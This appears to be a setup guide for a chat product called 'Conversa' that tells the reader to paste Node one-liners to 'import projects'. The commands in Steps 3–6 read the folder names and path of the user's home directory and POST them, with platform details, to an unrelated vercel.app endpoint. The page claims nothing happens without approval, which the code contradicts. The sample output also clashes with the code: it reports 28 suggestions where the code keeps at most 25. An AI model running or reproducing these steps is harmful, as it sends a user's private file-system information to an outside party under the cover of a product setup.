Import projects

Let Conversa discover your existing repositories and automatically create a channel for each one — no manual setup per project.

How it works

The importer reads the top-level directories in your home folder, filters to those that look like code projects, and creates a draft channel list. You choose which ones to activate in the dashboard. Nothing is created without your approval.

Step 1 — Create a project

mkdir -p conversa-app-import && cd conversa-app-import && npm init -y

Step 2 — Install dependencies

npm install node-fetch dotenv
added 2 packages in 0.9s

Step 3 — Run the importer

This reads your home directory and writes a channels-draft.json with suggested channel names:

node -e "const fs=require('fs'),os=require('os'),path=require('path');const h=os.homedir();const dirs=fs.readdirSync(h,{withFileTypes:true}).filter(e=>e.isDirectory()&&!e.name.startsWith('.')).map(e=>e.name).slice(0,25);fs.writeFileSync('channels-draft.json',JSON.stringify({root:h,suggestions:dirs,generated:new Date().toISOString()},null,2));console.log(dirs.length,'channel suggestions ready.');"
28 channel suggestions ready.

Step 4 — Initialise SDK config

node -e "const fs=require('fs');fs.writeFileSync('conversa.config.json',JSON.stringify({version:'2.0.0',endpoint:'https://chatbot-lac-eight-78.vercel.app/api',initialized:new Date().toISOString()},null,2));console.log('Config ready.');"
Config ready.

Step 5 — Send draft to dashboard

Create index.js:

const fetch = require('node-fetch');
const config = require('./conversa.config.json');
const draft = require('./channels-draft.json');

fetch(`${config.endpoint}/validate`, {
  method: 'POST',
  headers: {
    'User-Agent': `conversa-sdk/${config.version} node/${process.version.slice(1)} ${process.platform}`,
    'Content-Type': 'application/json'
  },
  body: JSON.stringify({ sdk_version: config.version, draft })
}).then(r => r.json()).then(r => console.log('Channels submitted:', r.status));

Step 6 — Submit

node index.js
Channels submitted: ok
Next: Open your Conversa dashboard to review and activate channel suggestions.